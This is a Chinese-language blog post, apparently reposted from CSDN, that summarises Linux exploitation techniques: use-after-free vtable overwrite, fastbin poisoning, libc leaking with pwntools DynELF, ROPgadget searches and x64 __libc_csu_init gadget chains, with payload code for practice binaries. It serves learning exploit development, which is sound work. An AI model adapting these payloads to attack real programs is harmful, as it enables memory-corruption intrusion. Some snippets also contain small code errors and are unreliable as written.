linux编写rop总结

攻击方式

这个好像是比较核心的一种利用方式,主要分两种
1覆盖虚表指针
采用了虚函数表修改的uaf利用法则。

  • 找到释放没有清零的指针。(这里释放的对象必须是有虚函数的)
  • 从新分配占用之前释放的结构。(对象释放掉后,把虚函数表中的函数修改掉)(直接修改内存显然会引发地址禁止写异常)
  • 调用引用原结构的函数触发自己构造的调用函数。(调用虚函数被替换,本来释放的对象,应为没用清空指针,导致再次利用成功)。
    (这里重新分配必须满足原结构的构建协议)

例子:https://bbs.pediy.com/thread-224651.htm
2.还有就是一个叫做fastbin单向链表的利用方式
这个fastbinz主要是用来进行任意地址读写的。
例子: https://www.cnblogs.com/Ox9A82/p/5865420.html

  • 分配两个fastbin chunk
  • 使用第一个(位于低地址)覆盖第二个(位于高地址)的fd指针。注意,第一个应该是已被分配的,不然就没法写入导致溢出。第二个应该是未被分配的,不然就不存在fd也不存在分配的问题了。
  • 在欲分配的地址,比如bss段上构造一个伪chunk结构,比如l32(0x0)+l32(41)+l32(0x0)(即前块正在使用中+本块大小为40+fd为0)
  • 进行分配即可得到任意地址分配堆块的效果。从而可以实现任意地址写任意值的效果。

3当然这里还有一种单地址位读写的攻击方式DWORDSHOOT
实现的是4字节的任意地址读写。虽然只能写入4字节的内容,利用得当也是很厉害的。

在不获取目标libc.so的情况下进行ROP攻击

采用pwntools提供的DynELF模块来进行内存搜索。首先我们需要实现一个leak(address)函数,通过这个函数可以获取到某个地址上最少1 byte的数据。拿我们上一篇中的level2程序举例。leak函数应该是这样实现的:

 #!python
def leak(address):
    payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
    p.send(payload1)
    data = p.recv(4)
    print "%#x => %s" % (address, (data or '').encode('hex'))
return data
from pwn import *
elf=ELF('level2')
plt_write=elf.symbol['write']
got_write=elf.got['write']

这里写图片描述
随后将这个函数作为参数再调用d = DynELF(leak, elf=ELF(‘./level2’))就可以对DynELF模块进行初始化了。然后可以通过调用system_addr = d.lookup(‘system’, ‘libc’)来得到libc.so中system()在内存中的地址。
一步一步学ROP之linux_x64篇

使用工具寻找gadgets

 #!bash
$ ROPgadget --binary level4 --only "pop|ret" 
$ ROPgadget --binary libc.so.6 --only "pop|ret" | grep rdi
system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
pop_ret_offset = 0x0000000000022a12 - libc.symbols['system']
pop_ret_addr = system_addr + pop_ret_offset

如果原程序使用了write()和read()函数,我们可以通过write()去输出write.got的地址,从而计算出libc.so在内存中的地址。
objdump -d ./level5观察一下__libc_csu_init()这个函数。一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作
x86中参数都是保存在栈上,但在x64中前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9寄存器里

  400606:   48 8b 5c 24 08          mov    0x8(%rsp),%rbx
  40060b:   48 8b 6c 24 10          mov    0x10(%rsp),%rbp
  400610:   4c 8b 64 24 18          mov    0x18(%rsp),%r12
  400615:   4c 8b 6c 24 20          mov    0x20(%rsp),%r13
  40061a:   4c 8b 74 24 28          mov    0x28(%rsp),%r14
  40061f:   4c 8b 7c 24 30          mov    0x30(%rsp),%r15
  400624:   48 83 c4 38             add    $0x38,%rsp
  400628:   c3                      retq   

让rbp和rbx的值相等,我们可以将rbp的值设置为1,因为之前已经将rbx的值设置为0了。

 4005f0:   4c 89 fa                mov    %r15,%rdx
  4005f3:   4c 89 f6                mov    %r14,%rsi
  4005f6:   44 89 ef                mov    %r13d,%edi
  4005f9:   41 ff 14 dc             callq  *(%r12,%rbx,8)
  4005fd:   48 83 c3 01             add    $0x1,%rbx
  400601:   48 39 eb                cmp    %rbp,%rbx
  400604:   75 ea                   jne    4005f0 <__libc_csu_init+0x50>
 #!bash
#rdi=  edi = r13,  rsi = r14, rdx = r15 
#write(rdi=1, rsi=write.got, rdx=4)
payload1 =  "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main) 

猜你喜欢

转载自blog.csdn.net/bme314/article/details/79342245
ROP
今日推荐